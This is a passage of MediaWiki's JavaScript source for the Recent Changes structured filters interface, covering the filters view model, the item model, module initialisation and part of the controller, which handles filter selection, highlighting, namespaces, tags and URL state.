	if ( this.views[ view ] && this.currentView !== view ) {
		this.currentView = view;
	}
};

/**
 * Toggle the highlight feature on and off.
 * Propagate the change to filter items.
 *
 * @param {boolean} enable Highlight should be enabled
 * @fires highlightChange
 */
FiltersViewModel.prototype.toggleHighlight = function ( enable ) {
	enable = enable === undefined ? !this.highlightEnabled : enable;

	if ( this.highlightEnabled !== enable ) {
		this.highlightEnabled = enable;
		this.emit( 'highlightChange', this.highlightEnabled );
	}
};

/**
 * Check if the highlight feature is enabled
 *
 * @return {boolean}
 */
FiltersViewModel.prototype.isHighlightEnabled = function () {
	return !!this.highlightEnabled;
};

/**
 * Toggle the inverted tags property on and off.
 * Propagate the change to tag filter items.
 *
 * @param {boolean} enable Inverted property is enabled
 */
FiltersViewModel.prototype.toggleInvertedTags = function ( enable ) {
	this.toggleFilterSelected( this.getTagsInvertModel().getName(), enable );
};

/**
 * Toggle the inverted namespaces property on and off.
 * Propagate the change to namespace filter items.
 *
 * @param {boolean} enable Inverted property is enabled
 */
FiltersViewModel.prototype.toggleInvertedNamespaces = function ( enable ) {
	this.toggleFilterSelected( this.getNamespacesInvertModel().getName(), enable );
};

/**
 * Get the model object that represents the 'invert' filter
 *
 * @param {string} view
 * @return {mw.rcfilters.dm.FilterItem|null}
 */
FiltersViewModel.prototype.getInvertModel = function ( view ) {
	if ( view === 'namespaces' ) {
		return this.getNamespacesInvertModel();
	}
	if ( view === 'tags' ) {
		return this.getTagsInvertModel();
	}

	return null;
};

/**
 * Get the model object that represents the 'invert' filter
 *
 * @return {mw.rcfilters.dm.FilterItem}
 */
FiltersViewModel.prototype.getNamespacesInvertModel = function () {
	return this.getGroup( 'invertGroup' ).getItemByParamName( 'invert' );
};

/**
 * Get the model object that represents the 'invert' filter
 *
 * @return {mw.rcfilters.dm.FilterItem}
 */
FiltersViewModel.prototype.getTagsInvertModel = function () {
	return this.getGroup( 'invertTagsGroup' ).getItemByParamName( 'inverttags' );
};

/**
 * Set highlight color for a specific filter item
 *
 * @param {string} filterName Name of the filter item
 * @param {string} color Selected color
 */
FiltersViewModel.prototype.setHighlightColor = function ( filterName, color ) {
	this.getItemByName( filterName ).setHighlightColor( color );
};

/**
 * Clear highlight for a specific filter item
 *
 * @param {string} filterName Name of the filter item
 */
FiltersViewModel.prototype.clearHighlightColor = function ( filterName ) {
	this.getItemByName( filterName ).clearHighlightColor();
};

module.exports = FiltersViewModel;
mediawiki.rcfilters/dm/ItemModel.js000066600000014350151335045660013337 0ustar00/**
 * RCFilter base item model
 *
 * @class mw.rcfilters.dm.ItemModel
 * @mixins OO.EventEmitter
 *
 * @constructor
 * @param {string} param Filter param name
 * @param {Object} config Configuration object
 * @cfg {string} [label] The label for the filter
 * @cfg {string} [description] The description of the filter
 * @cfg {string|Object} [labelPrefixKey] An i18n key defining the prefix label for this
 *  group. If the prefix has 'invert' state, the parameter is expected to be an object
 *  with 'default' and 'inverted' as keys.
 * @cfg {boolean} [active=true] The filter is active and affecting the result
 * @cfg {boolean} [selected] The item is selected
 * @cfg {*} [value] The value of this item
 * @cfg {string} [namePrefix='item_'] A prefix to add to the param name to act as a unique
 *  identifier
 * @cfg {string} [cssClass] The class identifying the results that match this filter
 * @cfg {string[]} [identifiers] An array of identifiers for this item. They will be
 *  added and considered in the view.
 * @cfg {string} [defaultHighlightColor=null] If set, highlight this filter by default with this color
 */
var ItemModel = function MwRcfiltersDmItemModel( param, config ) {
	config = config || {};

	// Mixin constructor
	OO.EventEmitter.call( this );

	this.param = param;
	this.namePrefix = config.namePrefix || 'item_';
	this.name = this.namePrefix + param;

	this.label = config.label || this.name;
	this.labelPrefixKey = config.labelPrefixKey;
	this.description = config.description || '';
	this.setValue( config.value || config.selected );

	this.identifiers = config.identifiers || [];

	// Highlight
	this.cssClass = config.cssClass;
	this.highlightColor = config.defaultHighlightColor || null;
};

/* Initialization */

OO.initClass( ItemModel );
OO.mixinClass( ItemModel, OO.EventEmitter );

/* Events */

/**
 * @event update
 *
 * The state of this filter has changed
 */

/* Methods */

/**
 * Return the representation of the state of this item.
 *
 * @return {Object} State of the object
 */
ItemModel.prototype.getState = function () {
	return {
		selected: this.isSelected()
	};
};

/**
 * Get the name of this filter
 *
 * @return {string} Filter name
 */
ItemModel.prototype.getName = function () {
	return this.name;
};

/**
 * Get the message key to use to wrap the label. This message takes the label as a parameter.
 *
 * @param {boolean} inverted Whether this item should be considered inverted
 * @return {string|null} Message key, or null if no message
 */
ItemModel.prototype.getLabelMessageKey = function ( inverted ) {
	if ( this.labelPrefixKey ) {
		if ( typeof this.labelPrefixKey === 'string' ) {
			return this.labelPrefixKey;
		}
		return this.labelPrefixKey[
			// Only use inverted-prefix if the item is selected
			// Highlight-only an inverted item makes no sense
			inverted && this.isSelected() ?
				'inverted' : 'default'
		];
	}
	return null;
};

/**
 * Get the param name or value of this filter
 *
 * @return {string} Filter param name
 */
ItemModel.prototype.getParamName = function () {
	return this.param;
};

/**
 * Get the message representing the state of this model.
 *
 * @return {string} State message
 */
ItemModel.prototype.getStateMessage = function () {
	// Display description
	return this.getDescription();
};

/**
 * Get the label of this filter
 *
 * @return {string} Filter label
 */
ItemModel.prototype.getLabel = function () {
	return this.label;
};

/**
 * Get the description of this filter
 *
 * @return {string} Filter description
 */
ItemModel.prototype.getDescription = function () {
	return this.description;
};

/**
 * Get the default value of this filter
 *
 * @return {boolean} Filter default
 */
ItemModel.prototype.getDefault = function () {
	return this.default;
};

/**
 * Get the selected state of this filter
 *
 * @return {boolean} Filter is selected
 */
ItemModel.prototype.isSelected = function () {
	return !!this.value;
};

/**
 * Toggle the selected state of the item
 *
 * @param {boolean} [isSelected] Filter is selected
 * @fires update
 */
ItemModel.prototype.toggleSelected = function ( isSelected ) {
	isSelected = isSelected === undefined ? !this.isSelected() : isSelected;
	this.setValue( isSelected );
};

/**
 * Get the value
 *
 * @return {*}
 */
ItemModel.prototype.getValue = function () {
	return this.value;
};

/**
 * Convert a given value to the appropriate representation based on group type
 *
 * @param {*} value
 * @return {*}
 */
ItemModel.prototype.coerceValue = function ( value ) {
	return this.getGroupModel().getType() === 'any_value' ? value : !!value;
};

/**
 * Set the value
 *
 * @param {*} newValue
 */
ItemModel.prototype.setValue = function ( newValue ) {
	newValue = this.coerceValue( newValue );
	if ( this.value !== newValue ) {
		this.value = newValue;
		this.emit( 'update' );
	}
};

/**
 * Set the highlight color
 *
 * @param {string|null} highlightColor
 */
ItemModel.prototype.setHighlightColor = function ( highlightColor ) {
	if ( !this.isHighlightSupported() ) {
		return;
	}
	// If the highlight color on the item and in the parameter is null/undefined, return early.
	if ( !this.highlightColor && !highlightColor ) {
		return;
	}

	if ( this.highlightColor !== highlightColor ) {
		this.highlightColor = highlightColor;
		this.emit( 'update' );
	}
};

/**
 * Clear the highlight color
 */
ItemModel.prototype.clearHighlightColor = function () {
	this.setHighlightColor( null );
};

/**
 * Get the highlight color, or null if none is configured
 *
 * @return {string|null}
 */
ItemModel.prototype.getHighlightColor = function () {
	return this.highlightColor;
};

/**
 * Get the CSS class that matches changes that fit this filter
 * or null if none is configured
 *
 * @return {string|null}
 */
ItemModel.prototype.getCssClass = function () {
	return this.cssClass;
};

/**
 * Get the item's identifiers
 *
 * @return {string[]}
 */
ItemModel.prototype.getIdentifiers = function () {
	return this.identifiers;
};

/**
 * Check if the highlight feature is supported for this filter
 *
 * @return {boolean}
 */
ItemModel.prototype.isHighlightSupported = function () {
	return !!this.getCssClass() && !OO.ui.isMobile();
};

/**
 * Check if the filter is currently highlighted
 *
 * @return {boolean}
 */
ItemModel.prototype.isHighlighted = function () {
	return !!this.getHighlightColor();
};

module.exports = ItemModel;
mediawiki.rcfilters/mw.rcfilters.js000066600000014353151335045660013502 0ustar00/**
 * @class
 * @singleton
 */
mw.rcfilters = {
	Controller: require( './Controller.js' ),
	HighlightColors: require( './HighlightColors.js' ),
	UriProcessor: require( './UriProcessor.js' ),
	dm: {
		ChangesListViewModel: require( './dm/ChangesListViewModel.js' ),
		FilterGroup: require( './dm/FilterGroup.js' ),
		FilterItem: require( './dm/FilterItem.js' ),
		FiltersViewModel: require( './dm/FiltersViewModel.js' ),
		ItemModel: require( './dm/ItemModel.js' ),
		SavedQueriesModel: require( './dm/SavedQueriesModel.js' ),
		SavedQueryItemModel: require( './dm/SavedQueryItemModel.js' )
	},
	ui: {
		MainWrapperWidget: require( './ui/MainWrapperWidget.js' )
	},
	utils: {
		addArrayElementsUnique: function ( arr, elements ) {
			elements = Array.isArray( elements ) ? elements : [ elements ];

			elements.forEach( function ( element ) {
				if ( arr.indexOf( element ) === -1 ) {
					arr.push( element );
				}
			} );

			return arr;
		},
		normalizeParamOptions: function ( givenOptions, legalOptions, supportsAll ) {
			var result = [];
			supportsAll = supportsAll === undefined ? true : !!supportsAll;

			if ( supportsAll && givenOptions.indexOf( 'all' ) > -1 ) {
				// If anywhere in the values there's 'all', we
				// treat it as if only 'all' was selected.
				// Example: param=valid1,valid2,all
				// Result: param=all
				return [ 'all' ];
			}

			// Get rid of any dupe and invalid parameter, only output
			// valid ones
			// Example: param=valid1,valid2,invalid1,valid1
			// Result: param=valid1,valid2
			givenOptions.forEach( function ( value ) {
				if (
					legalOptions.indexOf( value ) > -1 &&
					result.indexOf( value ) === -1
				) {
					result.push( value );
				}
			} );

			return result;
		}
	}
};

/**
 * Get list of namespaces and remove unused ones
 *
 * @private
 *
 * @param {Array} unusedNamespaces Names of namespaces to remove
 * @return {Array} Filtered array of namespaces
 */
function getNamespaces( unusedNamespaces ) {
	var i, length, name, id,
		namespaceIds = mw.config.get( 'wgNamespaceIds' ),
		namespaces = mw.config.get( 'wgFormattedNamespaces' );

	for ( i = 0, length = unusedNamespaces.length; i < length; i++ ) {
		name = unusedNamespaces[ i ];
		id = namespaceIds[ name.toLowerCase() ];
		delete namespaces[ id ];
	}

	return namespaces;
}

/**
 * @private
 */
function init() {
	var $topSection,
		mainWrapperWidget,
		conditionalViews = {},
		$initialFieldset = $( 'fieldset.cloptions' ),
		savedQueriesPreferenceName = mw.config.get( 'wgStructuredChangeFiltersSavedQueriesPreferenceName' ),
		daysPreferenceName = mw.config.get( 'wgStructuredChangeFiltersDaysPreferenceName' ),
		limitPreferenceName = mw.config.get( 'wgStructuredChangeFiltersLimitPreferenceName' ),
		activeFiltersCollapsedName = mw.config.get( 'wgStructuredChangeFiltersCollapsedPreferenceName' ),
		initialCollapsedState = mw.config.get( 'wgStructuredChangeFiltersCollapsedState' ),
		filtersModel = new mw.rcfilters.dm.FiltersViewModel(),
		changesListModel = new mw.rcfilters.dm.ChangesListViewModel( $initialFieldset ),
		savedQueriesModel = new mw.rcfilters.dm.SavedQueriesModel( filtersModel ),
		specialPage = mw.config.get( 'wgCanonicalSpecialPageName' ),
		controller = new mw.rcfilters.Controller(
			filtersModel, changesListModel, savedQueriesModel,
			{
				savedQueriesPreferenceName: savedQueriesPreferenceName,
				daysPreferenceName: daysPreferenceName,
				limitPreferenceName: limitPreferenceName,
				collapsedPreferenceName: activeFiltersCollapsedName,
				normalizeTarget: specialPage === 'Recentchangeslinked'
			}
		);

	// TODO: The changesListWrapperWidget should be able to initialize
	// after the model is ready.

	if ( specialPage === 'Recentchanges' ) {
		$topSection = $( '.mw-recentchanges-toplinks' ).detach();
	} else if ( specialPage === 'Watchlist' ) {
		$( '.mw-watchlist-owner, .mw-watchlist-toollinks, form#mw-watchlist-resetbutton' ).remove();
		$topSection = $( '.watchlistDetails' ).detach().contents();
	} else if ( specialPage === 'Recentchangeslinked' ) {
		conditionalViews.recentChangesLinked = {
			groups: [
				{
					name: 'page',
					type: 'any_value',
					title: '',
					hidden: true,
					sticky: true,
					filters: [
						{
							name: 'target',
							default: ''
						}
					]
				},
				{
					name: 'toOrFrom',
					type: 'boolean',
					title: '',
					hidden: true,
					sticky: true,
					filters: [
						{
							name: 'showlinkedto',
							default: false
						}
					]
				}
			]
		};
	}

	mainWrapperWidget = new mw.rcfilters.ui.MainWrapperWidget(
		controller,
		filtersModel,
		savedQueriesModel,
		changesListModel,
		{
			$wrapper: $( document.body ),
			$topSection: $topSection,
			$filtersContainer: $( '.mw-rcfilters-container' ),
			$changesListContainer: $( '.mw-changeslist, .mw-changeslist-empty' ),
			$formContainer: $initialFieldset,
			collapsed: initialCollapsedState
		}
	);

	// Remove the -loading class that may have been added on the server side.
	// If we are in fact going to load a default saved query, this .initialize()
	// call will do that and add the -loading class right back.
	$( document.body ).removeClass( 'mw-rcfilters-ui-loading' );

	controller.initialize(
		mw.config.get( 'wgStructuredChangeFilters' ),
		// All namespaces without Media namespace
		getNamespaces( [ 'Media' ] ),
		require( './config.json' ).RCFiltersChangeTags,
		conditionalViews
	);

	mainWrapperWidget.initFormWidget( specialPage );

	$( 'a.mw-helplink' ).attr(
		'href',
		'https://www.mediawiki.org/wiki/Special:MyLanguage/Help:New_filters_for_edit_review'
	);

	controller.replaceUrl();

	mainWrapperWidget.setTopSection( specialPage );

	/**
	 * Fired when initialization of the filtering interface for changes list is complete.
	 *
	 * @event structuredChangeFilters_ui_initialized
	 * @member mw.hook
	 */
	mw.hook( 'structuredChangeFilters.ui.initialized' ).fire();
}

// Import i18n messages from config
mw.messages.set( mw.config.get( 'wgStructuredChangeFiltersMessages' ) );

// Don't try to run init during QUnit tests, some of the code depends on mw.config variables
// that are not set, and the ui code here isn't even being tested.
if ( !window.QUnit ) {
	if ( document.readyState === 'interactive' || document.readyState === 'complete' ) {
		// Early execute of init
		init();
	} else {
		$( init );
	}
}

module.exports = mw.rcfilters;
mediawiki.rcfilters/Controller.js000066600000104654151335045660013212 0ustar00var byteLength = require( 'mediawiki.String' ).byteLength,
	UriProcessor = require( './UriProcessor.js' ),
	Controller;

/* eslint no-underscore-dangle: "off" */
/**
 * Controller for the filters in Recent Changes
 *
 * @class mw.rcfilters.Controller
 *
 * @constructor
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersModel Filters view model
 * @param {mw.rcfilters.dm.ChangesListViewModel} changesListModel Changes list view model
 * @param {mw.rcfilters.dm.SavedQueriesModel} savedQueriesModel Saved queries model
 * @param {Object} config Additional configuration
 * @cfg {string} savedQueriesPreferenceName Where to save the saved queries
 * @cfg {string} daysPreferenceName Preference name for the days filter
 * @cfg {string} limitPreferenceName Preference name for the limit filter
 * @cfg {string} collapsedPreferenceName Preference name for collapsing and showing
 *  the active filters area
 * @cfg {boolean} [normalizeTarget] Dictates whether or not to go through the
 *  title normalization to separate title subpage/parts into the target= url
 *  parameter
 */
Controller = function MwRcfiltersController( filtersModel, changesListModel, savedQueriesModel, config ) {
	this.filtersModel = filtersModel;
	this.changesListModel = changesListModel;
	this.savedQueriesModel = savedQueriesModel;
	this.savedQueriesPreferenceName = config.savedQueriesPreferenceName;
	this.daysPreferenceName = config.daysPreferenceName;
	this.limitPreferenceName = config.limitPreferenceName;
	this.collapsedPreferenceName = config.collapsedPreferenceName;
	this.normalizeTarget = !!config.normalizeTarget;

	// TODO merge dmConfig.json and config.json virtual files, see T256836
	this.pollingRate = require( './dmConfig.json' ).StructuredChangeFiltersLiveUpdatePollingRate;

	this.requestCounter = {};
	this.uriProcessor = null;
	this.initialized = false;
	this.wereSavedQueriesSaved = false;

	this.prevLoggedItems = [];

	this.FILTER_CHANGE = 'filterChange';
	this.SHOW_NEW_CHANGES = 'showNewChanges';
	this.LIVE_UPDATE = 'liveUpdate';
};

/* Initialization */
OO.initClass( Controller );

/**
 * Initialize the filter and parameter states
 *
 * @param {Array} filterStructure Filter definition and structure for the model
 * @param {Object} namespaceStructure Namespace definition
 * @param {Object} tagList Tag definition
 * @param {Object} [conditionalViews] Conditional view definition
 */
Controller.prototype.initialize = function ( filterStructure, namespaceStructure, tagList, conditionalViews ) {
	var parsedSavedQueries, pieces,
		nsAllContents, nsAllDiscussions,
		displayConfig = mw.config.get( 'StructuredChangeFiltersDisplayConfig' ),
		defaultSavedQueryExists = mw.config.get( 'wgStructuredChangeFiltersDefaultSavedQueryExists' ),
		controller = this,
		views = $.extend( true, {}, conditionalViews ),
		items = [],
		uri = new mw.Uri();

	// Prepare views
	nsAllContents = {
		name: 'all-contents',
		label: mw.msg( 'rcfilters-allcontents-label' ),
		description: '',
		identifiers: [ 'subject' ],
		cssClass: 'mw-changeslist-ns-subject',
		subset: []
	};
	nsAllDiscussions = {
		name: 'all-discussions',
		label: mw.msg( 'rcfilters-alldiscussions-label' ),
		description: '',
		identifiers: [ 'talk' ],
		cssClass: 'mw-changeslist-ns-talk',
		subset: []
	};
	items = [ nsAllContents, nsAllDiscussions ];
	for ( var namespaceID in namespaceStructure ) {
		var label = namespaceStructure[ namespaceID ];
		// Build and clean up the individual namespace items definition
		var isTalk = mw.Title.isTalkNamespace( namespaceID ),
			nsFilter = {
				name: namespaceID,
				label: label || mw.msg( 'blanknamespace' ),
				description: '',
				identifiers: [
					isTalk ? 'talk' : 'subject'
				],
				cssClass: 'mw-changeslist-ns-' + namespaceID
			};
		items.push( nsFilter );
		( isTalk ? nsAllDiscussions : nsAllContents ).subset.push( { filter: namespaceID } );
	}

	views.namespaces = {
		title: mw.msg( 'namespaces' ),
		trigger: ':',
		groups: [ {
			// Group definition (single group)
			name: 'namespace', // parameter name is singular
			type: 'string_options',
			title: mw.msg( 'namespaces' ),
			labelPrefixKey: {
				default: 'rcfilters-tag-prefix-namespace',
				inverted: 'rcfilters-tag-prefix-namespace-inverted'
			},
			separator: ';',
			supportsAll: false,
			fullCoverage: true,
			filters: items
		} ]
	};
	views.invertNamespaces = {
		groups: [
			{
				// Should really be called invertNamespacesGroup; legacy name is used so that
				// saved queries don't break
				name: 'invertGroup',
				type: 'boolean',
				hidden: true,
				filters: [ {
					name: 'invert',
					default: '0'
				} ]
			} ]
	};

	views.tags = {
		title: mw.msg( 'rcfilters-view-tags' ),
		trigger: '#',
		groups: [ {
			// Group definition (single group)
			name: 'tagfilter', // Parameter name
			type: 'string_options',
			title: 'rcfilters-view-tags', // Message key
			labelPrefixKey: {
				default: 'rcfilters-tag-prefix-tags',
				inverted: 'rcfilters-tag-prefix-tags-inverted'
			},
			separator: '|',
			supportsAll: false,
			fullCoverage: false,
			filters: tagList
		} ]
	};
	views.invertTags = {
		groups: [
			{
				name: 'invertTagsGroup',
				type: 'boolean',
				hidden: true,
				filters: [ {
					name: 'inverttags',
					default: '0'
				} ]
			} ]
	};

	// Add parameter range operations
	views.range = {
		groups: [
			{
				name: 'limit',
				type: 'single_option',
				title: '', // Because it's a hidden group, this title actually appears nowhere
				hidden: true,
				allowArbitrary: true,
				// FIXME: $.isNumeric is deprecated
				validate: $.isNumeric,
				range: {
					min: 0, // The server normalizes negative numbers to 0 results
					max: 1000
				},
				sortFunc: function ( a, b ) { return Number( a.name ) - Number( b.name ); },
				default: mw.user.options.get( this.limitPreferenceName, displayConfig.limitDefault ),
				sticky: true,
				filters: displayConfig.limitArray.map( function ( num ) {
					return controller._createFilterDataFromNumber( num, num );
				} )
			},
			{
				name: 'days',
				type: 'single_option',
				title: '', // Because it's a hidden group, this title actually appears nowhere
				hidden: true,
				allowArbitrary: true,
				// FIXME: $.isNumeric is deprecated
				validate: $.isNumeric,
				range: {
					min: 0,
					max: displayConfig.maxDays
				},
				sortFunc: function ( a, b ) { return Number( a.name ) - Number( b.name ); },
				numToLabelFunc: function ( i ) {
					return Number( i ) < 1 ?
						( Number( i ) * 24 ).toFixed( 2 ) :
						Number( i );
				},
				default: mw.user.options.get( this.daysPreferenceName, displayConfig.daysDefault ),
				sticky: true,
				filters: [
					// Hours (1, 2, 6, 12)
					0.04166, 0.0833, 0.25, 0.5
				// Days
				].concat( displayConfig.daysArray )
					.map( function ( num ) {
						return controller._createFilterDataFromNumber(
							num,
							// Convert fractions of days to number of hours for the labels
							num < 1 ? Math.round( num * 24 ) : num
						);
					} )
			}
		]
	};

	views.display = {
		groups: [
			{
				name: 'display',
				type: 'boolean',
				title: '', // Because it's a hidden group, this title actually appears nowhere
				hidden: true,
				sticky: true,
				filters: [
					{
						name: 'enhanced',
						default: String( mw.user.options.get( 'usenewrc', 0 ) )
					}
				]
			}
		]
	};

	// Before we do anything, we need to see if we require additional items in the
	// groups that have 'AllowArbitrary'. For the moment, those are only single_option
	// groups; if we ever expand it, this might need further generalization:
	for ( var viewName in views ) {
		var viewData = views[ viewName ];
		viewData.groups.forEach( function ( groupData ) {
			var extraValues = [];
			if ( groupData.allowArbitrary ) {
				// If the value in the URI isn't in the group, add it
				if ( uri.query[ groupData.name ] !== undefined ) {
					extraValues.push( uri.query[ groupData.name ] );
				}
				// If the default value isn't in the group, add it
				if ( groupData.default !== undefined ) {
					extraValues.push( String( groupData.default ) );
				}
				controller.addNumberValuesToGroup( groupData, extraValues );
			}
		} );
	}

	// Initialize the model
	this.filtersModel.initializeFilters( filterStructure, views );

	this.uriProcessor = new UriProcessor(
		this.filtersModel,
		{ normalizeTarget: this.normalizeTarget }
	);

	if ( !mw.user.isAnon() ) {
		try {
			parsedSavedQueries = JSON.parse( mw.user.options.get( this.savedQueriesPreferenceName ) || '{}' );
		} catch ( err ) {
			parsedSavedQueries = {};
		}

		// Initialize saved queries
		this.savedQueriesModel.initialize( parsedSavedQueries );
		if ( this.savedQueriesModel.isConverted() ) {
			// Since we know we converted, we're going to re-save
			// the queries so they are now migrated to the new format
			this._saveSavedQueries();
		}
	}

	if ( defaultSavedQueryExists ) {
		// This came from the server, meaning that we have a default
		// saved query, but the server could not load it, probably because
		// it was pre-conversion to the new format.
		// We need to load this query again
		this.applySavedQuery( this.savedQueriesModel.getDefault() );
	} else {
		// There are either recognized parameters in the URL
		// or there are none, but there is also no default
		// saved query (so defaults are from the backend)
		// We want to update the state but not fetch results
		// again
		this.updateStateFromUrl( false );

		pieces = this._extractChangesListInfo( $( '#mw-content-text' ) );

		// Update the changes list with the existing data
		// so it gets processed
		this.changesListModel.update(
			pieces.changes,
			pieces.fieldset,
			pieces.noResultsDetails,
			true // We're using existing DOM elements
		);
	}

	this.initialized = true;
	this.switchView( 'default' );

	if ( this.pollingRate ) {
		this._scheduleLiveUpdate();
	}
};

/**
 * Check if the controller has finished initializing.
 *
 * @return {boolean} Controller is initialized
 */
Controller.prototype.isInitialized = function () {
	return this.initialized;
};

/**
 * Extracts information from the changes list DOM
 *
 * @param {jQuery} $root Root DOM to find children from
 * @param {number} [statusCode] Server response status code
 * @return {Object} Information about changes list
 * @return {Object|string} return.changes Changes list, or 'NO_RESULTS' if there are no results
 *   (either normally or as an error)
 * @return {string} [return.noResultsDetails] 'NO_RESULTS_NORMAL' for a normal 0-result set,
 *   'NO_RESULTS_TIMEOUT' for no results due to a timeout, or omitted for more than 0 results
 * @return {jQuery} return.fieldset Fieldset
 */
Controller.prototype._extractChangesListInfo = function ( $root, statusCode ) {
	var info,
		$changesListContents = $root.find( '.mw-changeslist' ).first().contents(),
		areResults = !!$changesListContents.length,
		checkForLogout = !areResults && statusCode === 200;

	// We check if user logged out on different tab/browser or the session has expired.
	// 205 status code returned from the server, which indicates that we need to reload the page
	// is not usable on WL page, because we get redirected to login page, which gives 200 OK
	// status code (if everything else goes well).
	// Bug: T177717
	if ( checkForLogout && !!$root.find( '#wpName1' ).length ) {
		location.reload( false );
		return;
	}

	info = {
		changes: $changesListContents.length ? $changesListContents : 'NO_RESULTS',
		fieldset: $root.find( 'fieldset.cloptions' ).first()
	};

	if ( !areResults ) {
		if ( $root.find( '.mw-changeslist-timeout' ).length ) {
			info.noResultsDetails = 'NO_RESULTS_TIMEOUT';
		} else if ( $root.find( '.mw-changeslist-notargetpage' ).length ) {
			info.noResultsDetails = 'NO_RESULTS_NO_TARGET_PAGE';
		} else if ( $root.find( '.mw-changeslist-invalidtargetpage' ).length ) {
			info.noResultsDetails = 'NO_RESULTS_INVALID_TARGET_PAGE';
		} else {
			info.noResultsDetails = 'NO_RESULTS_NORMAL';
		}
	}

	return info;
};

/**
 * Create filter data from a number, for the filters that are numerical value
 *
 * @param {number} num Number
 * @param {number} numForDisplay Number for the label
 * @return {Object} Filter data
 */
Controller.prototype._createFilterDataFromNumber = function ( num, numForDisplay ) {
	return {
		name: String( num ),
		label: mw.language.convertNumber( numForDisplay )
	};
};

/**
 * Add an arbitrary values to groups that allow arbitrary values
 *
 * @param {Object} groupData Group data
 * @param {string|string[]} arbitraryValues An array of arbitrary values to add to the group
 */
Controller.prototype.addNumberValuesToGroup = function ( groupData, arbitraryValues ) {
	var controller = this,
		normalizeWithinRange = function ( range, val ) {
			if ( val < range.min ) {
				return range.min; // Min
			} else if ( val >= range.max ) {
				return range.max; // Max
			}
			return val;
		};

	arbitraryValues = Array.isArray( arbitraryValues ) ? arbitraryValues : [ arbitraryValues ];

	// Normalize the arbitrary values and the default value for a range
	if ( groupData.range ) {
		arbitraryValues = arbitraryValues.map( function ( val ) {
			return normalizeWithinRange( groupData.range, val );
		} );

		// Normalize the default, since that's user defined
		if ( groupData.default !== undefined ) {
			groupData.default = String( normalizeWithinRange( groupData.range, groupData.default ) );
		}
	}

	// This is only true for single_option group
	// We assume these are the only groups that will allow for
	// arbitrary, since it doesn't make any sense for the other
	// groups.
	arbitraryValues.forEach( function ( val ) {
		if (
			// If the group allows for arbitrary data
			groupData.allowArbitrary &&
			// and it is single_option (or string_options, but we
			// don't have cases of those yet, nor do we plan to)
			groupData.type === 'single_option' &&
			// and, if there is a validate method and it passes on
			// the data
			( !groupData.validate || groupData.validate( val ) ) &&
			// but if that value isn't already in the definition
			groupData.filters
				.map( function ( filterData ) {
					return String( filterData.name );
				} )
				.indexOf( String( val ) ) === -1
		) {
			// Add the filter information
			groupData.filters.push( controller._createFilterDataFromNumber(
				val,
				groupData.numToLabelFunc ?
					groupData.numToLabelFunc( val ) :
					val
			) );

			// If there's a sort function set up, re-sort the values
			if ( groupData.sortFunc ) {
				groupData.filters.sort( groupData.sortFunc );
			}
		}
	} );
};

/**
 * Reset to default filters
 */
Controller.prototype.resetToDefaults = function () {
	var params = this._getDefaultParams();
	if ( this.applyParamChange( params ) ) {
		// Only update the changes list if there was a change to actual filters
		this.updateChangesList();
	} else {
		this.uriProcessor.updateURL( params );
	}
};

/**
 * Check whether the default values of the filters are all false.
 *
 * @return {boolean} Defaults are all false
 */
Controller.prototype.areDefaultsEmpty = function () {
	return $.isEmptyObject( this._getDefaultParams() );
};

/**
 * Empty all selected filters
 */
Controller.prototype.emptyFilters = function () {
	if ( this.applyParamChange( {} ) ) {
		// Only update the changes list if there was a change to actual filters
		this.updateChangesList();
	} else {
		this.uriProcessor.updateURL();
	}
};

/**
 * Update the selected state of a filter
 *
 * @param {string} filterName Filter name
 * @param {boolean} [isSelected] Filter selected state
 */
Controller.prototype.toggleFilterSelect = function ( filterName, isSelected ) {
	var filterItem = this.filtersModel.getItemByName( filterName );

	if ( !filterItem ) {
		// If no filter was found, break
		return;
	}

	isSelected = isSelected === undefined ? !filterItem.isSelected() : isSelected;

	if ( filterItem.isSelected() !== isSelected ) {
		this.filtersModel.toggleFilterSelected( filterName, isSelected );

		this.updateChangesList();

		// Check filter interactions
		this.filtersModel.reassessFilterInteractions( filterItem );
	}
};

/**
 * Clear both highlight and selection of a filter
 *
 * @param {string} filterName Name of the filter item
 */
Controller.prototype.clearFilter = function ( filterName ) {
	var filterItem = this.filtersModel.getItemByName( filterName ),
		isHighlighted = filterItem.isHighlighted(),
		isSelected = filterItem.isSelected();

	if ( isSelected || isHighlighted ) {
		this.filtersModel.clearHighlightColor( filterName );
		this.filtersModel.toggleFilterSelected( filterName, false );

		if ( isSelected ) {
			// Only update the changes list if the filter changed
			// its selection state. If it only changed its highlight
			// then don't reload
			this.updateChangesList();
		}

		this.filtersModel.reassessFilterInteractions( filterItem );
	}
};

/**
 * Toggle the highlight feature on and off
 */
Controller.prototype.toggleHighlight = function () {
	this.filtersModel.toggleHighlight();
	this.uriProcessor.updateURL();

	if ( this.filtersModel.isHighlightEnabled() ) {
		mw.hook( 'RcFilters.highlight.enable' ).fire();
	}
};

/**
 * Toggle the inverted tags feature on and off
 */
Controller.prototype.toggleInvertedTags = function () {
	this.filtersModel.toggleInvertedTags();

	if (
		this.filtersModel.getFiltersByView( 'tags' ).filter(
			function ( filterItem ) { return filterItem.isSelected(); }
		).length
	) {
		// Only re-fetch results if there are tags items that are actually selected
		this.updateChangesList();
	} else {
		this.uriProcessor.updateURL();
	}
};

/**
 * Toggle the inverted namespaces feature on and off
 */
Controller.prototype.toggleInvertedNamespaces = function () {
	this.filtersModel.toggleInvertedNamespaces();

	if (
		this.filtersModel.getFiltersByView( 'namespaces' ).filter(
			function ( filterItem ) { return filterItem.isSelected(); }
		).length
	) {
		// Only re-fetch results if there are namespace items that are actually selected
		this.updateChangesList();
	} else {
		this.uriProcessor.updateURL();
	}
};

/**
 * Set the value of the 'showlinkedto' parameter
 *
 * @param {boolean} value
 */
Controller.prototype.setShowLinkedTo = function ( value ) {
	var targetItem = this.filtersModel.getGroup( 'page' ).getItemByParamName( 'target' ),
		showLinkedToItem = this.filtersModel.getGroup( 'toOrFrom' ).getItemByParamName( 'showlinkedto' );

	this.filtersModel.toggleFilterSelected( showLinkedToItem.getName(), value );
	this.uriProcessor.updateURL();
	// reload the results only when target is set
	if ( targetItem.getValue() ) {
		this.updateChangesList();
	}
};

/**
 * Set the target page
 *
 * @param {string} page
 */
Controller.prototype.setTargetPage = function ( page ) {
	var targetItem = this.filtersModel.getGroup( 'page' ).getItemByParamName( 'target' );
	targetItem.setValue( page );
	this.uriProcessor.updateURL();
	this.updateChangesList();
};

/**
 * Set the highlight color for a filter item
 *
 * @param {string} filterName Name of the filter item
 * @param {string} color Selected color
 */
Controller.prototype.setHighlightColor = function ( filterName, color ) {
